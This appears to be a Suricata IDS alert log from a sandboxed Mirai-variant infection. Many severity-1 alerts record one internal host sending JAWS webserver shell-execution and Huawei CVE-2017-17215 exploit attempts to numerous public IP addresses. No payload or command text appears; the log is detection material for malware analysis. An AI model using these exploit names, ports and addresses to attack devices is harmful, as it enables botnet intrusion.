Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:53688 -> 50.151.21.8:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:59862 -> 111.235.227.103:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:39438 -> 68.184.62.249:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:59862 -> 111.235.227.103:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:39438 -> 68.184.62.249:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:59076 -> 177.233.205.201:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:59076 -> 177.233.205.201:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:37200 -> 198.53.211.167:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:37200 -> 198.53.211.167:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:43962 -> 41.128.193.69:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:48106 -> 197.158.151.68:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:42846 -> 156.158.172.243:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:45800 -> 156.146.0.173:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:48344 -> 197.123.157.24:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:60860 -> 197.201.203.200:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:45100 -> 156.28.189.147:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:43964 -> 197.3.154.235:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:52114 -> 41.185.84.32:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:42668 -> 41.51.237.63:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:41272 -> 41.56.205.34:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:44818 -> 197.179.146.198:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:57306 -> 156.110.162.239:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:41374 -> 41.186.242.231:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:53726 -> 197.167.188.184:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:57020 -> 156.61.209.114:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:43268 -> 156.134.142.216:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:38152 -> 156.64.119.227:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:49108 -> 156.75.54.186:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:52016 -> 197.195.206.136:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:58514 -> 197.112.141.250:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:37894 -> 197.57.152.227:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:41410 -> 156.67.96.70:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:37384 -> 197.59.205.72:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:48340 -> 41.182.228.106:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:49302 -> 197.161.10.65:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:39612 -> 197.17.133.49:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:46368 -> 197.41.187.197:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:46464 -> 41.155.219.178:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:48890 -> 197.213.139.45:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:52456 -> 197.123.236.32:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:47630 -> 156.44.235.16:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:45280 -> 156.76.37.56:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:34620 -> 197.69.230.169:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:42426 -> 156.92.88.230:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:49474 -> 156.114.247.128:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:38496 -> 41.29.43.123:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:40266 -> 156.155.195.253:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:59634 -> 156.205.236.9:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:45944 -> 41.89.254.96:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:40626 -> 41.42.112.90:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:56880 -> 197.163.246.243:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:47254 -> 41.29.72.16:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:40346 -> 197.169.178.55:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:60072 -> 41.102.141.16:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:38762 -> 41.8.68.180:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:49966 -> 156.180.14.86:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:38648 -> 197.235.235.154:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:54428 -> 41.153.210.0:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:34966 -> 41.38.16.103:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:50588 -> 156.23.144.81:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:51570 -> 156.31.133.222:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:35620 -> 156.29.58.55:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:54440 -> 197.25.2.28:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:55288 -> 197.79.233.80:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:53770 -> 197.95.113.211:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:35976 -> 197.220.67.112:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:43080 -> 41.235.143.156:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:50946 -> 41.237.37.216:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:39254 -> 197.122.183.130:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:35196 -> 156.30.14.110:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:39598 -> 41.164.73.85:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:59700 -> 41.9.223.148:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:57354 -> 156.96.122.224:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:36916 -> 197.198.188.20:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:45290 -> 156.85.239.222:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:43294 -> 156.208.58.152:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:41656 -> 41.204.44.51:37215
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:38670 -> 57.16.75.18:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:38670 -> 57.16.75.18:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:42998 -> 184.145.222.88:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:58952 -> 197.213.172.174:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:45240 -> 41.34.236.132:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:39884 -> 41.223.100.164:37215
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:42998 -> 184.145.222.88:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:58152 -> 156.177.86.195:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:60102 -> 156.199.249.209:37215
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:52416 -> 140.3.1.82:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:52416 -> 140.3.1.82:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:59660 -> 40.208.105.235:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:59660 -> 40.208.105.235:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:33942 -> 41.243.122.209:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:41356 -> 197.7.151.132:37215
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:32814 -> 219.81.41.173:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:32814 -> 219.81.41.173:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:55660 -> 197.174.22.109:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:53180 -> 156.1.156.161:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:33060 -> 156.191.133.121:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:41106 -> 197.32.245.136:37215
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:60726 -> 61.110.206.21:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:60726 -> 61.110.206.21:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:54382 -> 198.165.232.52:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:48142 -> 152.212.240.188:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:54382 -> 198.165.232.52:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:33208 -> 173.72.159.111:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:50164 -> 102.137.240.134:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:33208 -> 173.72.159.111:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:58878 -> 109.62.119.7:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:50164 -> 102.137.240.134:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:58878 -> 109.62.119.7:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:49510 -> 173.230.32.46:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:49510 -> 173.230.32.46:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:36248 -> 201.125.207.171:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:35566 -> 78.65.198.150:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:49178 -> 124.224.219.168:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:48142 -> 152.212.240.188:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:49178 -> 124.224.219.168:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:36248 -> 201.125.207.171:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:54236 -> 208.132.145.179:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:57802 -> 137.224.169.141:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:44888 -> 197.232.54.243:37215
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:54236 -> 208.132.145.179:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:45998 -> 153.78.233.79:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:52372 -> 175.75.70.54:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:40114 -> 212.53.111.208:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:57802 -> 137.224.169.141:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:40114 -> 212.53.111.208:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:52372 -> 175.75.70.54:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:45998 -> 153.78.233.79:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:35558 -> 85.42.189.137:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:35558 -> 85.42.189.137:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:35566 -> 78.65.198.150:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:55630 -> 8.255.164.128:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:48998 -> 176.1.7.9:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:55630 -> 8.255.164.128:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:48998 -> 176.1.7.9:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:59728 -> 105.172.5.168:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:59728 -> 105.172.5.168:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:57092 -> 197.218.205.133:37215
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:37594 -> 159.108.60.226:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:37594 -> 159.108.60.226:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:56716 -> 173.230.39.235:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:56716 -> 173.230.39.235:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:54064 -> 197.191.214.20:37215
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:45092 -> 163.172.255.118:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:45092 -> 163.172.255.118:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:34190 -> 25.167.5.214:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:34190 -> 25.167.5.214:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:39326 -> 117.50.49.125:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:49696 -> 68.152.141.251:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:39326 -> 117.50.49.125:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:49696 -> 68.152.141.251:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:45984 -> 141.145.232.229:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:56764 -> 156.191.36.93:37215
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:45984 -> 141.145.232.229:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:54240 -> 41.92.111.44:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:57656 -> 156.207.68.217:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:56596 -> 197.175.190.91:37215
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:53000 -> 203.176.98.178:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:56908 -> 158.79.170.58:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:48012 -> 156.33.52.217:37215
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:47508 -> 164.21.186.72:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:47508 -> 164.21.186.72:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:60352 -> 50.162.207.43:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:60352 -> 50.162.207.43:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:60342 -> 156.64.9.169:37215
